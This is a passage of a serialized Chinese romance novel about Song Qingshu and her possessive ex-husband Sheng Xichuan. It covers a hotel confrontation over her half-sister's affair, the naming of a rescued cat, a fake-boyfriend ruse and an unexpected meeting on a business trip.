“你先回去洗个澡换个衣服,我再送你去医院,怎么样?”宋清殊说。
她也喝了酒,肯定不能开车。
但盛熙川又救猫又帮她捞手机,不陪着不合适。
盛熙川倒是不客气:“那就20分钟后停车场见。”
说完,他快步走了。
走出几步远,宋清殊便听到了一个大大的喷嚏声。
这样的天气,是很容易感冒的。
宋清殊回到住处,恰好有女同事在找酒店前台要姜。
“大姨妈来了,想煮一碗红糖姜茶。”那位同事说。
酒店小姑娘也是个热心肠,竟然真的去餐饮区找后厨拿了一大块生姜来。
宋清殊看同事要到了姜,便问她:“煮好了能不能给我一杯?”
那位同事自然没有二话。
于是,宋清殊再去停车场时,手里便拿了杯姜茶。
小赵开车,盛熙川坐在后排等她。
坐进车里,宋清殊才发现,盛熙川上身也穿了件薄羽绒,下身穿了条燕麦色裤子。跟她身上的羽绒服和打底袜看上去很搭。
她让自己不要多想,把那杯姜茶递过去:“快,趁热喝。”
盛熙川接过,打开餐杯盖子看了一眼,问道:“你煮的?”
他的眼神太热切,宋清殊直摇头:“同事煮的,我知道你不喜欢甜食,但你权当吃药吧,不然你会感冒。”
盛熙川声音低低的:“还记得我不喜欢甜呢?”
这话宋清殊懒得接。
四年而已,又不是四十年没见,问得好像她老年痴呆了一样。
她只是执着地握着那个杯子看他。
夜色里,宋清殊的眼神平静又笃定,看得人心也跟着软软的。
盛熙川没再说什么,接过去一口闷了。
很快到了医院。
盛熙川前阵子刚打过狂犬,还在有效期内,这次只做了消毒,打了个破伤风。
等一切处理完,已经是12点多了。
盛熙川看了看手表,对宋清殊道:“走吧,先找个地方睡觉,明天早上修手机。”
这个提议,宋清殊很抗拒。
且不说她和盛熙川尴尬的关系,就算普通男女一起在外面过夜,也难免让人遐想。
“我直接打车回家。”
盛熙川睨她一眼:“我说的是分别睡,又不是说睡一起。你打车回家有钱结账?”
也是,她手机还坏了。
宋清殊:“我可以提前给保姆打电话下来付款。”
盛熙川:“凌晨还不让保姆休息,那你不该叫宋清殊,该叫宋扒皮。”
……宋清殊看一眼等在车上的小赵,不得不提醒盛熙川:“你的司机也没休息。”
盛熙川:“他不一样,他年终奖7位数。”
宋清殊自问没有7位数开给保姆,自动选择了闭嘴。
两人选了最近的一个五星酒店。
“两个总统套房。”盛熙川把自己的身份证递过去。
宋清殊这才意识到她只有人跟着出来了,什么证件都没带。
但她有话说:“睡到明天早上而已,不用这么奢侈吧?”
前台小姑娘对她挤眉弄眼,一副“姐妹我懂”的模样,对盛熙川道:“先生,目前总统套房只剩一间,您二位将就一晚可以吗?”
宋清殊:“……”
她是那个意思吗?
前台当盛熙川是她要钓的凯子了。
盛熙川低笑:“我是求之不得,你问问这位女士。”
他说话时,肆无忌惮地打量着前台小姑娘,小姑娘顿时红了脸。
宋清殊揉了揉
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眉心:“给我一间普通大床房就可以。”
还得麻烦盛熙川结账。
最终两人定了两间豪华大床房,在顶层。
他们刚到电梯口准备进去,便看到两个旁若无人抱着接吻的人。
宋清殊还没看清,便被盛熙川伸手扣住后脑,将头按进了怀里。
“别动。”盛熙川低声道。
随着“嘀”的一声,电梯来了。
宋清殊被盛熙川带着靠在墙上没动,那对亲得难舍难分的野鸳鸯先进去了。
她的脸几乎埋在他的胸前。
熟悉的气息在鼻端纠缠,宋清殊大气都不敢喘。
她的心跳有些快。
都是正常的,毕竟她已经好几年没有跟异性这样亲密接触了。宋清殊安慰自己。
一直到野鸳鸯上去,盛熙川才放开了手。
“搞什么?”
宋清殊抬头瞪他,两颊带了点绯色。
盛熙川看得心中悸动,他缓了缓,才道:“你姐和沈济臣。”
宋清殊瞪大了眼睛。
外界传言果然属实,宋妍妍在给沈济臣做小三。
也不知道沈济臣有哪点吸引了宋妍妍,还真是鬼迷心窍。
宋清殊自己一直觉得宋家人上不了台面,这下更是证实了她的话。
她替宋妍妍害臊,敛了眉没有说话。
他们坐下一趟电梯上顶楼,两人的房间挨着。
宋清殊先开了自己的门,想了一下还是对盛熙川道:“你来之前不是简单洗澡了吗?医生说伤口最好不要碰水,就别洗澡了。”
他这个人有洁癖,提前叮嘱为好。
“担心我?”盛熙川问。
他眉宇间是她看不懂的情绪。
宋清殊在心里叹口气。
“我平白嘱咐一句,你当我没说吧。”
她迅速关上了门。
盛熙川立在门口,心情大好。
他觉得自己受这点伤真的太值了。
宋清殊关好门,她去浴室简单洗了个澡,平复了一下纷乱的思绪,刚吹完头发出来,便听到房门发出“砰”地一声。
有人撞到了她门上。
接着,她听到了宋妍妍的声音:“沈济臣,放开我!”
第170章 什么货色都要
宋清殊蹑手蹑脚地走到门口,透过猫眼往外看。
是宋妍妍和沈济臣在走廊里吵架。
宋妍妍明显已经洗过澡,穿着酒店的浴袍站在外面,扯着沈济臣的手臂不让他走。
“我是把位置发给许瞳了又怎么样?你拖着不离婚,总给她不切实际的希望有什么用呢?
沈济臣,明明是我先跟你在一起的,她才是小三。我就要让她死心,早点离婚!”
沈济臣明显有点不耐烦了,他甩了几下宋妍妍的手臂,又甩不掉。
“你已然疯了。当时我就说过咱们两个只是玩玩而已,是你自己答应的,现在你嫁不出去了,又盯着我不放,早知道你这么难缠,我也不可能跟你约,都是成年人了,你这样就没意思了。”沈济臣说。
这话宋清殊听到耳朵里,都替宋妍妍臊得慌。沈济臣是什么德性她可太了解了,也不知道宋妍妍喜欢他什么。
她都恨不得冲出去给沈济臣两巴掌。
却听宋妍妍歇斯底里道:“沈济臣,你提裤子不认人是吧?这几年,我为了你孩子都流了两个了,今天我非要跟许瞳把话说开了,你要是不离婚,我就上网曝光你,让所有人都知道!”
这话有点劲爆,宋清殊竖起耳朵。
“啪!”沈济臣抬手给了宋妍妍一个耳光。
宋妍妍捂着脸,不敢置信地看着他。
“你敢打我?沈济臣,你居然打我?”
沈济臣声音很冷:“放开,我们以后再也不要联系了。”
他猛地一甩。
宋妍妍还要说什么,又一阵脚步声,宋清殊又看到了两个女人从电梯里出来。
一个她没见过,应该是两人嘴里的许瞳,因为另一个是宋夫人。
家丑发生在眼前,宋清殊觉得这辈子的脸都要丢光了。
她迅速将门开了一条缝,一扯,将宋妍妍拉进了房。
宋妍妍始料未及,被拉得一个趔趄,一见宋清殊瞬间瞪大了眼睛。
“宋……”她想尖叫,被宋清殊一把捂住了嘴。
宋清殊眼神冷冽,低声在她耳边道:“不想你们母女两个一起丢人,就闭嘴。”
宋妍妍似乎这才清醒过来,认识到了问题的严重性一般。
她缩了缩脖子,竟然真的没敢出声。
“宋妍妍呢?”许瞳站在沈济臣面前冷笑道,“主动发微信给我位置,让我过来抓奸,怎么不敢出来了?”
这女人绝对不是个善茬。
沈济臣对宋妍妍那样傲慢,对许瞳却笑脸相迎。
他声音甚至刻意提高了:“哪有什么宋妍妍啊老婆。我今天跟客户应酬,喝了点酒,就想着开间房,醒醒酒再回去。
我在门口倒是碰见宋妍妍了,她跟我哭了一通,说什么我为什么娶你,不娶她。她也不撒泡尿照照自己是什么东西,我直接把她骂跑了。”
沈济臣显然在生宋妍妍的气,生怕她听不到。
宋清殊看了一眼宋妍妍,发现她早已面如死灰,拳头捏得死紧。
看沈济臣对许瞳的态度,不难看出,这个女人比宋妍妍高了不止两个段位。
最主要的是,人家是合法妻子,宋妍妍是第三者。
两个挺漂亮的姑娘,也不知道沈济臣这种货色有什么可争的。
“我怎么那么不信呢。”许瞳道,又看向宋夫人,“宋夫人,你信吗?”
宋夫人明显底气不足,声音唯唯诺诺:“抱歉啊,沈少夫人,是我没管好自己的女儿,回去我一定好好管管她。”
许瞳不依不饶:“宋妍妍肯定在,她不可能不在这里。”
她看了一眼旁边的房间,伸手拍门。
“宋妍妍,出来!”
听到门响,宋妍妍瑟缩了一下。
她拿到了许瞳的微信,的确有**的意思,本以为许瞳一定舍不得离开沈济臣,必然装聋作哑。
她在试探许瞳的底线。
没想到,许瞳直接杀了过来不说,还把她妈也叫上了。
她举着手机录像,摆明了想发到网上让宋家丢脸。
宋清殊看她,低声道:“人是你引来的,现在怕是不是晚了?”
“你管我!”宋妍妍小声顶嘴,走到卫生间,迅速关上了门。<
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br>宋清殊被丢在了外面,望着被拍得震天响的门。
开是不能开的,万一许瞳看到,说不定以为她和沈济臣有什么。
换言之,反正她要宋家丢脸,出丑的是宋清殊还是宋妍妍,有什么要紧呢?
“里面真没人,别闹了宝贝。”沈济臣伸手从后面抱许瞳的腰,低声下气地哄。
就这,宋妍妍还想让沈济臣离婚娶她呢,也不知道哪根弦搭错了。
两人的情况看,明显是沈济臣更不想失去这段婚姻。
“我不信,除非把门打开,让我亲眼看看!”
许瞳还在拍门,宋夫人跟个鹌鹑一般,一言不发。
宋清殊被吵得太阳穴“嗡嗡”作响。
她不得不用床头的座机拨了盛熙川的手机。
那边秒接。
宋清殊压低声音:“帮我把许瞳和沈济臣弄走。”
盛熙川低笑:“我还没看够呢。”
宋清殊:“求你。”
她可不想跟着原生家庭丢人。
盛熙川:“那你用明天一天的时间交换。”
宋清殊:“好。”
火烧眉毛,顾不得许多了。
那边痛快挂了电话,接着,宋清殊听到了走廊外面盛熙川的声音。
她迅速跑到门口去。
看盛熙川站在几人面前,面色不悦。
“有病就滚去医院,不看看现在是几点?”他长得高,气势上就压了沈济臣和许瞳一头,更何况,他是盛熙川。
许瞳的气焰马上弱了下来,她辩解道:“抱歉盛小爷,我有点家事要处理,多有打扰。”
盛熙川:“知道打扰了我,还不快滚!”
这家酒店的顶层最贵,只开了这几间房,倒是没有别的客人。
“我只是想找到宋妍妍,没有别的意思。”许瞳还在强撑,“她不会在盛小爷房里吧?”
盛熙川声音冷得厉害:“你当我和沈济臣一样不挑,什么货色都要呢?”
此时,听到外面有人救场,宋妍妍从浴室探出头,正好听到这么一句。
她的脸色实在精彩,看得宋清殊想笑。
第171章 猪猪
沈济臣巴不得许瞳快点走,被盛熙川那样奚落,愣是连个屁都不敢放。
他搂了许瞳的腰就要走,一边走,一边低声下气:“老婆现在太晚了,咱们的确打扰别人休息了。这样,有什么话明天我把宋妍妍叫来,咱们说开了,你看好不好?”
许瞳不得不跟沈济臣走了。
后来,宋夫人四处张望了一下,开始打宋妍妍的手机。
手机响了一下,宋妍妍怕被宋夫人听见挨骂,赶紧挂了。
宋夫人踟蹰了一会儿,就这么走了。
宋夫人一走,宋妍妍松了口气,看见沙发上看热闹的宋清殊,又开始恼羞成怒。
“你大半夜在这里做什么?知道盛熙川在这儿,特地在他隔壁开房,准备勾引他求复合?”
宋妍妍一张嘴就是蠢话,听得宋清殊厌蠢症都犯了。
她一边走过去开门,一边冷笑:“要不是因为我也姓宋,就应该不管你,让许瞳把你的嘴脸拍下来,成为世家们的笑柄。”
宋妍妍理亏,眼神躲闪:“本来就是我跟沈济臣恋爱在先,许瞳才是第三者!”
宋清殊很难控制住翻白眼的冲动。
“既然这样,那你刚才怎么不冲出去说?”
宋妍妍声音弱下去:“还不是你拦着……”
门打开了,宋清殊指了指门口的方向。
“你现在走,近期别让我再看见你。”
宋妍妍还要说什么,便看到了靠着墙抽烟看热闹的盛熙川。
“盛……”她想打个招呼,又有点抹不开面子,咬了咬唇,快速走了。
宋清殊尴尬地看一眼盛熙川。
“抱歉,让你看笑话了。”
盛熙川挑了挑眉:“只要出丑的不是你,我都能接受。”
宋清殊退回房内:“那我睡觉了,晚安。”
盛熙川:“刚才答应我的,作数不?”
“作数。”
总不能卸磨杀驴,毕竟说好了的。
盛熙川眼波流转,看宋清殊的神情有暖意。
“好,晚安。”
宋清殊关上了门。
原本挺困的,没想到宋妍妍这一出给她闹失眠了。
她躺在床上辗转反侧,硬是天快亮都没有睡着。
等真正入睡,已经是快早上6点。
再睁眼,快中午了。
宋清殊惊醒,脸都没洗去敲盛熙川的门。
门虚掩着,盛熙川还在,正拿着个笔记本电脑处理公务。
她不知怎么竟然松了口气。
“醒了。”盛熙川抬眼看她,带了点笑意。
“我得联系一下兰溪……”
盛熙川掏出自己的手机递给她。
宋清殊敲了敲头,她根本没记住莫兰溪的手机号。
盛熙川试探:“霍宗辞的手机号你能记住吗?”
宋清殊摇头。
“所以,只记得住我的?”他心情大好,尾巴都要翘到天上去。
宋清殊根本没想那么多。
“毕竟一起生活过那么长时间,这有什么奇怪的。”
盛熙川的嘴角简直压不住了。
“我早上的时候已经替你联系过了。”盛熙川说,调出莫兰溪的电话给她看,“她说让你放心。”
不知盛熙川是怎么拿到的莫兰溪手机号,也不知道他怎么说的。
但宋清殊到底是放心了一点。
“今天你什么安排?”她问。
盛熙川:“先吃午饭,然后随便逛逛。”
宋清殊没什么话说,转身回了她的房间。
她收拾完出来,盛熙川已经等在了门口,他们两人都穿着昨天的衣服,谁都没带换洗衣物。
“走吧,我让楼下餐厅简单做了点吃的。”盛熙川说。
又把她的手机拿走,让小赵送去修。
午餐是宋清殊喜欢的菜式,她也真的饿了,一口气吃了不少。
盛熙川替她夹菜,笑了一下:“难怪长了一点肉,都不像前几年挑食了。”
宋清殊看过一个研究,说做母亲会将女人的心轮打开,让女人变得更加母性,有担当,自身也更强大。
有了珍珠后,她似乎真的没那么娇气了,身体也更好了一些。
她一直觉得过去的自己太瘦,所以对现在的肉很满意。
“感觉还是国内的饭菜养人,那会儿刚回来,总要有个调整的过程。”
“那会儿”是哪会儿,两人都心照不宣。
“现在很好,有点肉肉更漂亮。”盛熙川看她的眼神很灼热,“我那时候是个坏老公,没有
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照顾好你,是不是?”
宋清殊:“……”
本来气氛挺和谐的,偏要说这些干什么。
“都过去了,不用太放在心上。”
毕竟,盛熙川虽然有做得不好的地方,到底给她提供了质量很好的小蝌蚪,给了她一个天下第一好的女儿。
四年过去,宋清殊已经非常释怀了。
两人陷入了沉默。
吃完饭,盛熙川亲自开车,先带宋清殊去了一趟流浪猫小院。
如今小院已经扩建了,那片山都被包了下来。
“千猫王国”的牌子赫然立在山顶。
一群小猫在山上跑来跑去,过得自由又快乐。
宋清殊远远看着,居然有些感动。
“这里面真有一千只猫吗?”她问。
“暂时还没有。”盛熙川说,“刚开始做救助的时候,见到流浪猫就想抓过来,给它们吃喝。
但后来发现,有的小动物比起吃的好和安全,它们更想要自由。
现在把小院扩建,一方面是为了让小猫的生存环境更好,另一方面,想的是给老弱病残的小猫一个归宿。
至于那些向往自由的猫,倒是不好人为干涉。”
盛熙川声音平缓又柔和,眼睛和煦。
宋清殊想,时间在流逝,人也在成长。
看来不只是她,这四年盛熙川也被上了一课。
那只昨天被营救的小猫已经被送了过来,检查结果很好,很健康。
“给它取个名字吧。”管家还是原来那个管家,抱着小猫过来给盛熙川看,见到宋清殊时,还惊讶的张大嘴巴。
他不知该如何称呼宋清殊才好,只能笑着点点头。
盛熙川把猫抱给宋清殊看。
“你发现的它,名字你取。”
给小动物命名,多么新鲜的一件事。
宋清殊没有推辞。
她观察这只小猫,通体黑色,毛发在太阳底下又有点发红,是一只标准的中华玄猫。
它看上去很弱小,眼神却很有内容,很聪明的样子,像她的宝贝珍珠。
宋清殊摸它的头:“叫猪猪吧,这个名字有福气。”
这是她给珍珠的爱称。
她明显听到盛熙川被自己的口水呛了一下。
第172章 我有男朋友
“猪猪是谁?”盛熙川终是没忍住问她。
宋清殊诧异地看了他一眼,想起自己的手机是被小赵送去修的,突然有点紧张。
修好后,盛熙川不会那么没品看他手机吧?
“哪有人叫这个名字。”她随即镇定下来,若无其事道,“叫猪猪是希望它能吃能睡。”
宋清殊的神情不对劲。
但盛熙川心思几转,最终也没有敢再问下去。
他们的关系如履薄冰,问了,宋清殊要是真说出这么一个男人来,他该如何自处?
是跟宋妍妍一样,做个男小三,还是放手?
不,他肯当第三者,宋清殊却未必肯要。
盛熙川的脸色沉了一沉。
宋清殊不是没注意到,但觉得莫名其妙。
也不知道叫这个名字犯了他什么忌讳。
不过他自己让她取的名字,他没说不同意,她就不改。
两人在山上呆了一会儿,时间还早。
盛熙川:“看电影,还是看话剧,你选一个。”
宋清殊觉得一男一女看电影还是太暧昧了,便选了话剧。
谁知,一进剧院便遇到了熟人。
昌鑫的林总在,他旁边那个女人,宋清殊看着眼熟。
她在记忆里搜索了一下,不就是那天酒吧里遇到的美女!
盛熙川号称“在追求他”的那个。
此时,两人穿着同色系大衣,脚上一样款式的马丁靴,还挽着手臂。
他们的关系昭然若揭。
两人看见盛熙川和宋清殊,孟令贤先反应过来,和林远洲保持了一点距离。
“熙川,宋小姐,好巧啊。”
她尬笑着打招呼。
之后,又正式跟宋清殊自我介绍,“宋小姐,我叫孟令贤,你叫我名字或者贤姐都行。”
宋清殊记得资料显示林远洲已婚,太太是姓孟的。
她在脑子里过了过,大概理清了怎么回事,随即朝盛熙川望过去。
果然,盛熙川眼里有一闪而过的心虚。
她被戏弄了。
那天酒吧的场景在脑中浮现,宋清殊的眼神能**。
林远洲是她的甲方,她不能当场发作,便硬生生忍了。
以至于那场话剧,宋清殊一点都没有看进去。
林远洲和孟令贤更是尴尬地脚趾抠地。
两人发微信。
孟令贤:【都怪你,工作日非要看什么话剧】
林远洲:【我也没想到他们在啊,好久没约会了,老婆(撒娇)】
一场话剧两个小时,夫妻两人合计了一通对策。
结束后,宋清殊走在前面,三个共犯在身后交换眼色,大气都不敢喘。
林远洲跟宋清殊打过了几次交道,又是甲方。他硬着头皮先开口:“宋总,这附近有家餐厅很有特色,不如一起吃个饭。”
宋清殊微笑:“改天吧,林总,到时候我安排。”
林远洲和孟令贤给了盛熙川一个自求多福的眼神,只好先离开了。
只剩了宋清殊和盛熙川两人。
宋清殊:“我手机修好了吗?”
“修好了,小赵马上给你送过来。”盛熙川说,眼神里带了点尴尬,“那天就是开个玩笑……”
宋清殊正色:“盛总,多谢你这几次的帮助,以后我觉得咱们还是保持点距离的好。你说呢?”
“为什么,你有男朋友了?”盛熙川憋了半天的话,还是在这一刻问了出来。
宋清殊:“有了。”
这个答案算是临时起意,一个并不存在的男朋友,或许真的能帮她避免不少麻烦。
没想到她这个回复直接让盛熙川变了脸色。
他猛地向前一步,眉头皱得死紧。
“是谁?不是霍宗辞对不对?”
虽然霍宗辞看上去对她跃跃欲试,可盛熙川下意识排除了他。
而莫北丞更不可能,如今想想过去自己竟然拿莫北丞当劲敌,盛熙川只觉得自己蠢得好笑。
宋清殊神色淡淡,却不自觉地退后一步,此刻她觉得盛熙川很危险。
“你不认识。是我这几年在别的城市交往的。”
她不敢提花都,怕盛熙川发疯真的去查。
都是成年人,他的心思宋清殊并非一点也察觉不到,只是不想往那方面去想,当初两人分开就是因为不合适,如今一错再错有什么
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意义呢?
此时,话说出来,她觉得轻松。
断了不该有的念想,对两个人都好。
但显然盛熙川不这么觉得。
他一瞬间双目赤红,盯着宋清殊的眼神里满是难以压制的痛苦。宋清殊越往后退,他就越要向前。
他居高临下,咄咄逼人:“宋清殊,现在想起那半年的短暂婚姻,你只有痛苦和困扰吗?”
不是,他给了她一段完整的恋爱经历,整个过程酸甜苦辣皆有,甚至还给她带来了她的宝贝女儿。
哪怕时至今日再回忆起来,宋清殊伤心过,却从未后悔过。
但这话告诉他达不到她想要的效果,说不定还会被解读成欲拒还迎。
“你要是我,不会觉得痛苦和困扰吗?”宋清殊看着他的眼睛,硬着心肠道。
盛熙川在那一瞬间肉眼可见地颓了下来。
那样高大的人,一瞬间竟然因为底气不足矮了几公分。
他的腰背塌下去。
“对不起,那时候我不够成熟,很多事情上没有考虑你的感受。”
他那时太缺爱,看上去再强大,也在潜意识里恐惧背叛和离别。喜欢她,便草木皆兵,
偏偏那时候命运对他们也捉弄得厉害,安排了一件又一件的事,将他们推远。
盛熙川心如刀绞。
宋清殊却神色平静,没什么反应。
“过去的,就让它过去吧。如今,我们能像朋友一样相处,就已经很体面了。盛熙川,如果你能在这个基础上,再退后一点,有一点边界感,那就更好了。”
她甚至挂上一个客气的笑脸,跟他商量,“都说一日夫妻百日恩,你就当念一下旧情,给我点个人空间,好不好?”
宋清殊不吵不闹,安静,体面,但这话说得滴水不漏,毫不含糊,把盛熙川的后路堵得死死的。
她向来干脆,从不拖泥带水。
而且她认定的事,也很难改变。
盛熙川被兜头浇了一盆凉水。
这两天的相处让他重燃的那点信心,被浇灭下去,不甘地冒着黑烟。
盛熙川落败给了一个不知明姓的人,灰头土脸。
第173章 莫兰溪的秘密
两人僵持间,小赵拿来了宋清殊的手机。
宋清殊道过谢,看盛熙川的眼神带了点客气的歉意:“盛总,多谢。晚饭就不一起吃了吧,还有点事……”
盛熙川的心口像被一块巨石压着,沉重得透不过气。
“宋清殊,你非要这么跟我说话吗?”这么说话,我难受。
宋清殊从善如流,笑了一下:“抱歉,熙川。以后还是叫名字。”
盛熙川寒着脸没有说话,宋清殊默认他同意了。
气氛已经如此尴尬,再一起吃饭也没必要。
天渐渐黑了,她跟盛熙川告别,之后打车回了家。
路上又联系了一下莫兰溪。
“团建怎么样,今天顺利吗?”她问。
莫兰溪说一切都好,让宋清殊放心。
她是个分寸感极强的人,一句都不多问。
宋清殊想解释自己为什么没回去,又觉得此地无银三百两,便也没有再说什么。
事实上,莫兰溪这边也不是全然无事发生,但她也不知道该怎么跟宋清殊说。
昨天晚上,她跟饭店老板把小猫安置好回去,便看到霍宗辞站在她和宋清殊的房间门口,手里拎了两杯奶茶。
一见她,霍宗辞就问:“宋清殊呢,打电话不接。”
莫兰溪便把宋清殊手机泡水的事,以及她要跟盛熙川回一趟市区的事说了。
霍宗辞很不高兴,眉头当时便皱了起来。
“你是拉皮条的吗?一次次给宋清殊和她前夫创造机会?”
莫兰溪进公司前就知道,霍宗辞不是个好相与的,可他对她的态度尤其差。
被他这样奚落,任她修养再好,也有点不高兴。
莫兰溪看他便带了点恼意:“霍总,你自己竞争不过盛熙川,拿我撒气没用。”
霍宗辞也许是没料到向来冷静的莫兰溪能说出这样的话来,讶异地挑了一下眉。
他上前一步,莫兰溪无路可逃,直接被困在了墙边。
霍宗辞的神情太阴冷,莫兰溪瞬间就有点后悔自己的嘴快。
“莫助理出了名的情绪稳定,合着全是装的。”霍宗辞似笑非笑。
他换了一身没有任何装饰的黑色风衣,黑衬衫,左耳上的钻石耳钉和袖口宋清殊送的袖扣在灯下熠熠生辉。
那双好看的眼睛,像一对漩涡,噬魂夺魄。
莫兰溪紧张地吞了一下口水。
“霍总,主要是我不太方便过问上司的私事,请见谅。”她调整自己的情绪,却依然不太敢看霍宗辞的眼睛。
这双眸子太亮,似乎能看穿所有秘密。
而她经不起细查。
霍宗辞看出了莫兰溪一瞬间的慌乱,越发笃定自己没有认错人。
他勾了一下唇,放开了对她的钳制。
“你说,我如果要追宋清殊,需要做什么?”他的眼睛依然停留在她脸上。
莫兰溪晚饭喝了两杯,脸颊上稍稍有点红,给她寡淡的神情增色不少。
“我对宋总不是太了解。”她老老实实说,“送点礼物吧,收到礼物应该都是开心的。”
霍宗辞神色不变:“她夸过我的钻石耳钉,我送了一对给她,倒是没见戴过。”
莫兰溪垂眼:“可能宋总这样的女人,被送过太多颗钻石了,更追求一些精神上的东西吧。”
“那你呢?”霍宗辞盯住她不放,“你喜欢钻石吗?”
莫兰溪沉默了几秒。
她不想跟他多说,开门进屋:“我不重要,霍总。你追宋总我提供不了什么帮助,不用在我身上花心思。”
霍宗辞那双湿魅的桃花眼眨了一下:“那就是喜欢了。”
莫兰溪要关门:“晚安。”
两杯奶茶从门缝里塞了进来,霍宗辞走了。
那奶茶莫兰溪连包装都没开,直接扔进了垃圾桶。
日子稳步向前,宋清殊又有意无意的把自己有男朋友的事在公司散播了一下。
随着时间久了,她甚至给这个不存在的人做了一个人物小传出来。
在她的小传中,她的男朋友和她同龄,在国外做工程,两人聚少离多,但感情甚笃。
散播这件事,自然是为了防霍宗辞。
霍宗辞虽然没有明确表示过要追求她,但他的很多表现已经让人误会了。陆二叔三叔也阴阳怪气过。
她有这个人设在外,方便堵别人的嘴,也防止霍宗辞哪天想不开乱来。
当然,霍宗辞也不是个好答对的,宋清殊在相处过程中更加注重分寸就是了。
那天之后,她又有很长一段日子没有见到盛熙川。
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再见面,是她去海城参加一个行业活动,有个大客户要谈。
这次宋清殊和莫兰溪带技术部门经理先去,霍宗辞在上京耽搁一天,第二天过去跟他们汇合。
技术部经理叫沈嘉祐,比宋清殊还要大上两岁,但长了一张清澈的男大脸,白白嫩嫩,是个小奶狗模样。
宋清殊本人已经很显小了,在沈嘉祐面前依然有些自愧不如。
三人落地海城已经是傍晚。
她分别定了三间行政套房,收拾妥当之后,沈嘉祐主动来敲门问她愿不愿出去走走,他已经问过莫兰溪了,她说有点不舒服,拒绝了他。
“我在海城上的大学,对这边比较熟悉。”沈嘉祐说。
宋清殊一听来了精神:“要去,这边有什么特色好吃的吗?”
她不管去哪个地方,最关注的就是饮食,吃的好了就觉得不虚此行。
沈嘉祐大概是没想到宋清殊这么答应的这么痛快,还愣了两秒。
他原本就是想客气一下,如果宋清殊也推辞,他一个人正好乐得清闲自在。
“啊,有,我正好带你去我原来的大学城逛逛。”
“好。”宋清殊拿上包便跟沈嘉祐出门了。
沈嘉祐原本都后悔自己嘴欠约她,跟领导在一起逛多少是有点压力。可后来发现宋清殊没那么多事,便慢慢踏实下来。
两人又逛又吃,居然很开心。
等回到酒店的时候已经是晚上9点多。
沈嘉祐替宋清殊拿着包,宋清殊一手拎着帮莫兰溪打包的特色小吃,一手举着一根没吃完的烤苕皮,跟沈嘉祐进大厅。
前台处站了个人影,宋清殊远远地便看见了。
她失神,脚下一个趔趄。
幸亏沈嘉祐眼疾手快,抓住了她的手臂。
“宋总,小心。”
宋清殊对沈嘉祐一笑:“没事,多谢。”
但愿她花了眼。
两人走进去,便看到了正在办理入住的盛熙川。
他身后还跟着杨端和吴小爱。
四年了,他身边的人倒是挺稳定的。
也是,盛熙川这个人嘴上刻薄,对自己人其实很宽厚。
他并不坏。
“真巧,熙川。”宋清殊心里叹口气,却依然客气站好,甚至又挤出一个微笑来。
第174章 盛总觉得我们什么关系
盛熙川先一步远远看见了宋清殊。
她穿得那样休闲,身边又没有莫兰溪跟着,想必来海城不是因为公事。
旁边这个白白净净,弱鸡一样的男人就是她所谓的男朋友吗?
对她倒是宠,替她拿着包不说,眼睛从她身上就没离开过。
沉寂了将近一个月的心,又开始掀起惊涛骇浪。盛熙川觉得,他压不住了。
盛熙川的眼神像是要**,一张嘴也是不中听的话:“是挺巧,宋总的口味还真是出人意料。”
这话局外人沈嘉祐没听懂,但宋清殊懂,她知道盛熙川误会了。
她不准备解释,扬了扬手里的烤苕皮:“你说这个啊,真的挺好吃的。”
这句话听在盛熙川耳内,简直是某种隐喻,他的脸青白交加,竟然好一会儿没说出话来。
杨端见过宋清殊几次了,笑着打了个招呼。吴小爱则吃了一惊,有种看见**四年的人复活的既视感。
宋清殊也不管这三人,直接给了沈嘉祐一个眼神。
“嘉祐,走了。”
还叫得这么亲热!
盛熙川在前台,看着两人有说有笑地离开,不由握紧了拳。
嫉妒灭顶,他强压着自己的火气,才没有冲上去跟那男人决斗。
“宋清殊开了几间房?”他突然问前台。
“抱歉,客人的隐私,我不方便透露。”前台说。
盛熙川给了杨端一个眼神。
杨端会意,递上了他的支票簿子。
盛熙川寒着脸在支票上写了一个数字,放在了前台的手里。
这个数字,至少够她两年不上班。
前台这下也不管什么职业操守了。
“三间。”她说,分别报了入住人的姓名。
原来莫兰溪也在,还开了三间房,看来是商务出差。
盛熙川神色稍霁。
偏偏吴小爱在一旁嘴快道:“说不定多带一个人是为了掩人耳目呢。”
杨端不知道吴小爱抽什么风,说出这么作死的话来,连忙给了她一个肘击,拼命使眼色。
可他想救场也晚了。
盛熙川一个凌厉的眼风扫过来,吓得吴小爱一哆嗦。
“你最近太闲了,是不是?”他的神情让人不寒而栗,吴小爱下意识瑟缩了一下。
“老板,我就是随便说说。”她小声辩解。
盛熙川扯了扯唇角:“我有份文件忘在公司了,麻烦你现在回去取一下。”
“什么文件?”
盛熙川:“你到了就知道了。现在去,最晚后天晚上要。”
吴小爱看着盛熙川要**的眼神,不敢再说什么。
“是,老板。”
她把手里的行李箱递给杨端,转身往外走。
“等等。”盛熙川叫住她,吴小爱暗暗松口气。
谁知,接下来的话简直让她像糟了雷劈。
“坐绿皮火车来回,必须是硬座。”
海城距离上京几千公里,绿皮火车单程至少要坐20几个小时。
盛熙川甚至替她计算好了时间。
吴小爱觉得这两天的硬座坐下来,她整个就废了。
待她还想再说什么,看到盛熙川透着死神气息的眼神,赶紧闭了嘴。
她光速在盛熙川面前消失了。
盛熙川依然气不顺,对杨端道:“记住回去告诉HR,吴小爱的年终奖全扣。”
“好。”杨端哪里敢多嘴,连忙应了。
宋清殊上楼后,直接把小吃给莫兰溪送去,之后便回了房间。
她洗了澡,在床上胡思乱想,想起刚才盛熙川有点受伤的表情,又想了想过去。
她和盛熙川有一个多月没见了吧?
上次见面冬天刚要开始,眼下已经临近春节了。
这一个多月里,她倒不是完全没想起过他。
一想起他听到自己有男朋友时的神情,心里就有点不是滋味。
听说她去花都没多久舒颜就**。
如果她当时不离婚,熬一熬,是不是有不同的结果
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不,即便现在回想起来,宋清殊也觉得离婚这一步没什么问题。
当时两人的关系走进了死胡同里,连带着让她觉得自己的人生都不顺畅了,离婚是对的,是她重启人生的开端。
她不后悔嫁给他,也不后悔离婚。
如今他们本可以像朋友一样,友好往来,是盛熙川自己把路堵**,不怪她。
挺遗憾的,但这个选择对彼此都好。
就这样吧。
正发着呆,宋清殊收到了沈嘉祐的微信。
【宋总,霍总临时要开一个视频会议,我和兰溪去找您方便吗?】
【方便,5分钟后过来吧】宋清殊回复。
她连忙换了件衣服。
之后,沈嘉祐和莫兰溪便敲门进来了。
会议时间不长。霍宗辞说第二天他临时有别的工作安排,不过来了。
之后简单交代了一下他们三人如何跟客户对接,分析了一下可能会遇到的情况,三人都记下了。
开完会后,莫兰溪和沈嘉祐便离开了。
沈嘉祐把手机落在了宋清殊房里,刚离开,又回来取。
